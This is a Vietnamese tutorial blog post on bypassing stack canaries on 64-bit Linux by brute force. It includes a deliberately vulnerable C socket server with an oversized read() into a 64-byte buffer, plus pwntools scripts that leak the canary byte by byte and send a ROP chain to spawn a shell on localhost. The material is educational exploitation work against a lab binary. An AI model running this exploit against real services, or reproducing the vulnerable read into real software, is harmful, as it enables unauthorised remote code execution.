- vừa được xem lúc

Linux Exploit - Buffer Overflow - Phần 5 - Bypass Stack Canary (Linux 64 bits) by Brute force

0 0 33

Người đăng: Vương Lê

Theo Viblo Asia

Sau phần 4, hướng dẫn cách bypass NX (Non-executable Stack), hôm nay mình sẽ hướng dẫn cách bypass stack canary trên linux 64 bits bằng phương pháp brute force.

1. Stack canary là gì?

Stack canary là cơ chế bảo mật cho stack, nó ngăn chúng ta thực hiện khai thác thỗi buffer overflow nhằm thay đổi thanh ghi và truyền shellcode. Hiểu đơn giản, mình có hình ảnh stack trước và sau khi sử dụng stack canary như sau:

Như vậy, 8 bytes được thêm vào sau phần buffer, đảm bảo răng nếu xảy ra lỗi buffer overflow, stack canary sẽ bị thay đổi, từ đó ngăn chặn việc khai thác có thể xảy ra. Theo cơ chế này, chúng ta có cách khai thác là brute force, tìm ra stack canary sau đó gửi kèm payload để thực hiện khai thác

2. Phân tích chương trình khai thác với gdb

Sau bài viết về socket programming, mình thực hiện viết server để khai thác với mã code c như sau, mình đã update lên link github : https://github.com/vuongle-vigo/BinaryExploit/tree/master/Buffer Overflow/StackCanary_Bypass

server_vuln.c

# include <stdio.h>
# include <string.h>
# include <stdlib.h>
# include <unistd.h>
# include <netinet/in.h>
# include <arpa/inet.h>
# include <sys/socket.h>
# include <sys/types.h>
# include <errno.h>
# include <sys/socket.h>
# include <sys/types.h> #define BUFFER_SIZE 64
#define PORT 8888
#define SERVER_ADDRESS "127.0.0.1" const char secret_password[] = "S3cr3tP4ssw0rd"; struct sockaddr_in set_sockaddr_in(char *host, int port){ struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(port); addr.sin_addr.s_addr = inet_addr(host); memset(&addr.sin_zero, 0 , sizeof(addr.sin_zero)); return addr;
} int set_socket(char *host, int port){ struct sockaddr_in addr_in = set_sockaddr_in(host, port); int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(sockfd < 0){ perror("socket"); close(sockfd); exit(-1);} if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &(int){1}, sizeof(int)) == -1) { perror("setsockopt() error...\n"); exit(1); } if(bind(sockfd, (struct sockaddr *)&addr_in, sizeof(struct sockaddr)) < 0){ perror("bind"); close(sockfd); exit(-1);} return sockfd;
} int auth(int connectfd){ char message[] = "User Access Verification\n\nPassword: "; write(connectfd, message, strlen(message)); char buffer[BUFFER_SIZE]; int size = read(connectfd, buffer, 512); return (strcmp(buffer, secret_password)==0);
} int main(int argc, char *argv[]){ int sockfd = set_socket(SERVER_ADDRESS, PORT); if((listen(sockfd, 5)) == -1) { perror("listen"); close(sockfd); exit(-1); } printf("Listening on %s port %d\n", SERVER_ADDRESS, PORT); struct sockaddr_in client_addr; socklen_t addr_len = sizeof(struct sockaddr_in); int connectfd; while(1){ if((connectfd = accept(sockfd, (struct sockaddr *)&client_addr, &addr_len))<0){ exit(0); } pid_t pid = fork(); if(pid<0){ perror("fork"); exit(0); } if(pid==0){//child close(sockfd); if(auth(connectfd)==1){ char success[] = "Login successful"; write(connectfd, success, strlen(success)); } else { char invalid[] = "Invalid Password"; write(connectfd, invalid, strlen(invalid)); } } else if(pid>0){//parrent close(connectfd); } } return 0; }

Thực hiện compile chương trình: gcc -fstack-protector server_vuln.c -o server_vuln Sử dụng checksec ta thầy stackcanary đã được bật. Chạy thử chương trình cùng với netcat ta được kết quả như sau:

Chương trình yêu cầu nhập password, nếu sai sẽ trả về Invalid password.

3. Viết chương trình khai thác với python3 pwntools

Đầu tiên mình sẽ viết file python để xác định xem cần bao nhiêu kí tự để ghi đè lên stack canary:

from pwn import * context.update(os = "linux", arch = "amd64") buffer = "A"
payload = buffer def exploit(payload, interactive=False): size_payload = 0 for i in range(100): try: r = remote("localhost", 8888, level='error') r.sendafter("Password: ", payload) recv_data = r.recv(100, 0.1) if(recv_data == b"Invalid Password"): size_payload += 1 payload += "A" except EOFError: break finally: r.close() print("Size of payload = ", size_payload)
exploit(payload)

Chạy file ta được kết quả như sau:

Vậy kết quả là 72, ta thấy ở server hiện thị stack smashing detected. Tức là ở kí tự thứ 73 đã gây ra lỗi này. Dưới đây là file python khai thác hoàn thiện của mình, kết hợp với NX_bypass mình viết ở phần trước, ta sẽ lấy được 1 shell.

from pwn import * context.update(os = "linux", arch = "amd64") buffer = b'A'*72
payload = buffer def exploit(payload, interactive=False): try: r = remote("localhost", 8888, level='error') r.sendafter(b"Password: ", payload) recv_data = r.recv(100, 0.1) if(recv_data == b"Invalid Password"): return True except EOFError: return False finally: if interactive: r.interactive() else: r.close() def leak_bytes(payload, name): leak_bytes = [] progress = log.progress(name, level=logging.WARN) for i in range(8): for k in range(0,256): if(exploit(payload + p8(k))): payload = payload + p8(k) leak_bytes.insert(0, hex(k)) progress.status(repr(leak_bytes)) break log.info(f"Leaked {name} = {hex(u64(payload[-8:]))}") return payload libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc.address = 0x007ffff7dce000
rop = ROP(libc)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.dup2(4, 2)
rop.system(next(libc.search(b"/bin/sh")))
payload = leak_bytes(payload, "Canary")
payload += p64(0xBADC0FFEE0DDF00D) # sys = p64(libc.sym.get("system"))
# exit = p64(libc.sym.get("exit"))
# binsh = p64(next(libc.search(b"/bin/sh"))) # log.info(f"ROP Chain:\n{rop.dump()}") payload += bytes(rop) exploit(payload, True)

Kết quả nhận được như sau: Vậy là mình đã lấy được 1 shell.

Bình luận

Bài viết tương tự

- vừa được xem lúc

Hiệp phương sai và hệ số tương quan tuyến tính trong Python

Giới thiệu. Làm việc với các biến trong phân tích dữ liệu luôn đặt ra câu hỏi: Các biến phụ thuộc, liên kết và thay đổi với nhau như thế nào? Các biện pháp hiệp phương sai và hệ số tương quan tuyến tính giúp thiết lập điều này.

0 0 68

- vừa được xem lúc

Không gian tên(namspace) và phạm vi(scope) trong Python

. Khi mình ngồi học và dịch bài "Class trong Python" cho sê-ri "Khám Phá Đại Bản Doanh Python", mình đã đụng hai bạn này, và các bạn thật là trừu tượng và khó gặm. Thế là mình tìm kiếm và viết bài này để hiểu rõ hơn về hai bạn ấy, hi vọng bạn đọc thêm để hiểu về Python nhé.

0 0 49

- vừa được xem lúc

Tản mạn một chút về kỹ thuật Streaming

Lời mở đầu. Hôm nay trong lúc rảnh rỗi tôi ngồi tìm hiểu kỹ thuật streaming và áp dụng nó bằng Python. Bài viết có thể có thiếu sót mong các bạn thông cảm. Stream là một kỹ thuật chuyển dữ liệu theo dòng ổn định và liên tục.

0 0 74

- vừa được xem lúc

Vì sao chọn FastAPI

Introduction. Gần đây, do nhu cầu phát triển theo mô hình microservice ngày càng phổ biến, mình chủ yếu code mảng Python - Backend nên được phép chọn một framework để phát triển project mới cho công ty, sau khi cân nhắc giữa 3 framework phổ biến hiện tại sử dụng Python là Django, Flask và FastAPI, m

0 0 44

- vừa được xem lúc

Introduction to Google Cloud AutoML Vision

With the rapid development of technology, a Data Scientist could achieve their job like training ML models faster. The Word "AutoML"(also known as Automated machine learning) comes and now plays a cru

0 0 83

- vừa được xem lúc

Telegram Bot - Cào Dữ Liệu Từ VnExpress Bằng Python

Chào mọi người, sau bao ngày với các bài viết về lỗi bảo mật thì hôm nay mình sẽ đổi gió tí nhỉ :v. Vì thế nên hôm nay mình sẽ hướng dẫn mọi người làm 1 con bot Telegram bằng Python nhé.

1 0 223